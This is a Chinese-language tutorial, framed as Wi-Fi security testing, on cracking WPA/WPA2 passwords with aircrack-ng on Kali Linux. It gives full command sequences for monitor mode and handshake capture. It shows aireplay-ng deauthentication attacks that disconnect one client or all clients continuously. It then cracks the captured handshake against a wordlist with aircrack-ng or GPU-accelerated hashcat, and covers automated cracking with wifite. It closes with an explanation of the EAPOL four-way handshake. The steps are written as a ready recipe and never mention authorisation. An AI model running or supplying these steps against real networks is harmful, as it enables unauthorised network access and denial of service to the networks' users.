Wi-Fi 安全测试
aircrack-ng
使用 kali-linux 内置的 aircrack-ng 工具可进行 Wi-Fi 的抓包与分析。一般按照以下流程进行
监听模式(monitor mode): 监听数据包情况
抓取握手包(airodump-ng): 采集 Wi-Fi 握手包,从而获取握手信息
主动攻击触发重连(deauth): 主动使目标 Wi-Fi 的客户端重连,以采集握手包
跑密码本(aircrack-ng): 通过握手包信息跑密码本
其中,其他操作系统使用 aircrack 的 Monitor Mode,通常只是“半监听 / 扫描模式”,并不稳定。使用 kali-linux 环境更加合适
流程
查看网卡
先使用超级管理员用户 sudo su 或者直接使用 root terminal 查看无线网卡信息,可通过以下两种方式
- 无线配置信息查看网卡
iwconfig - 通过 usb 信息查看网卡
# ls 查看 usb 信息 lsusb
监听
- 查询可监听的无线网卡的 Interface 信息
airmon-ng # 输出可监听的信息 # PHY Interface Driver Chipset # phy0 wlan0 驱动 芯片组 - 开启监听
# 上一步获取的 Interface airmon-ng start wlan0 - 查看是否监听成功
ifconfig # 此时列表内应该出现名称类似 wlanXmon 的内容 - 网络扫描
# 上一步获取的名称,此处以 wlan0mon 为例 airodump-ng wlan0mon # 输出扫描信息 # BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID # AP的MAC 信号强度 数据包交换情况 数据包数量 每秒数据包数 频道 速度 无线安全技术 加密方式 认证协议 无线名 # ENC WPA2 指定的加密方式是 CCMP
抓取握手包
等待握手包出现
采集握手包的命令
# 扫描时获取的 频道 mac地址 握手包存储路径(文件夹或文件名) 无线网卡名称
airodump-ng -c 1 --bssid xx:xx:xx:xx:xx:xx -w . wlan0mon
输出内容示例如下
# 扫描信息 : 信道 持续时间 当前时间 是否采集到握手包(没采集到握手包时没有该项)
CH xx ][ Elapsed: x min ][ 2026-01-01 12:00 ][ WPA handshake: xx:xx:xx:xx:xx:xx
# AP信息
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
xx:xx:xx:xx:xx:xx -xx
# AP的客户端信息: 用户mac 信号 速率
BSSID STATION PWR Rate Lost Frames Nites Probes
xx:xx:xx:xx:xx:xx xx:xx:xx:xx:xx:xx -xx 1e-xx x x
采集到握手包即可停止。会在文件夹内生成 cap 文件
主动创造握手包
在新终端中使已连接 AP 的客户端断开
# 指定客户端断连
# 发送断开请求 发送次数,0表示持续 ap 的 mac 客户端的 mac 无线网卡名称
aireplay-ng -0 0 -a xx:xx:xx:xx:xx:xx -c xx:xx:xx:xx:xx:xx wlan0mon
# 全部客户端断连
aireplay-ng -0 0 -a xx:xx:xx:xx:xx:xx wlan0mon -D
同样等待采集终端出现 [ WPA handshake: xx:xx:xx:xx:xx:xx ,停止采集,会在文件夹内生成 cap 文件
跑密码本
aircrack
# 握手包类型:a2指 WPA ap mac 密码本路径 上一步生成的cap文件
aircrack-ng -a2 -b xx:xx:xx:xx:xx:xx -w ./book.txt ./xx.cap
# 简写
aircrack-ng -w ./book.txt ./xx.cap
hashcat
由于 aircrack-ng 是 CPU 取向工具,速度很慢。可使用 hashcat,利用 GPU 进行计算,增加计算速度
- 使用 hcxtools 工具,把 cap 转成 hashcat 格式
sudo apt update # 更新索引 sudo apt install hcxtools # 安装转换工具 hcxpcapngtool handshake.cap -o wifi.hc22000 # 转换 - 在显卡所在主系统内(避免虚拟机性能开销),运行
hashcat -m 22000 wifi.hc22000 wordlist.txt # 输入以下内容时,说明 Hashcat 为了兼容性(或者因为没加参数),使用了“纯净版”内核,没有使用针对 NVIDIA 架构深度优化的汇编指令。这会限制显卡的发挥。 # ATTENTION! Pure (unoptimized) backend kernels selected. # 可添加 `-O` 参数优化内核,进行提速 # 设置了工作负载(Workload Profile),也可提供显卡利用率,从而进行提速 # `-w 3` (High) 或 `-w 4` (Nightmare)
Tips: hashcat 需要使用cuda,请 下载 合适版本的cuda进行安装。比如 9系显卡架构较旧,适合 10.2 版本的cuda。如果安装错误版本,可通过 geek 等软件进行卸载
关闭监听状态
- 关闭监听
airmon-ng stop wlan0mon - 检查是否关闭成功
ifconfig # 此时列表中的 wlanXmon 应该变回 wlanX
Wifite
基于 aircrack-ng 的使用流程步骤,wifite 对其进行了封装,使其更加易用。以下是 wifite 的使用流程
- 进入扫描模式。此时会扫描出现的 Wi-Fi,并对其进行编号。按 ctrl + c 停止扫描,进入等待
sudo su wifite - 明确目标。在上一步中会等待输入编号,输入后会自动进行握手包采集、跑密码本等步骤
Wi-Fi 握手包
Wi-Fi 握手包基于 eapol 协议(局域网扩展协议),共进行 4 步
- AP 向外释放 ANonce 信号
- STA(客户端)收到信号,生成 PTK。并回传随机数 SNonce 与 PTK 中的 MIC
- AP 收到 SNonce 后,生成 PTK,将收到的 MIC 与生成的 PTK 中的 MIC 校验
- 校验成功,AP 使用 PTK 加密 GTK ,传给 STA(客户端)
- STA(客户端)通过 PTK 解密 GTK,并验证加密使用的 MIC。验证成功后发送ACK
可通过 Wireshark 打开 cap 文件,搜索 eapol 进行过滤
- 指明加密方式 AES,WPA Key Nonce 64位 hash 值,Key IV 全0
- 新的 WPA Key Nonce 64位 hash 值,WPA Key MIC
- WPA Key Nonce 64位 hash 值,新的 WPA Key MIC,WPA Key Data(密钥数据)
- 只包含新的 MIC 值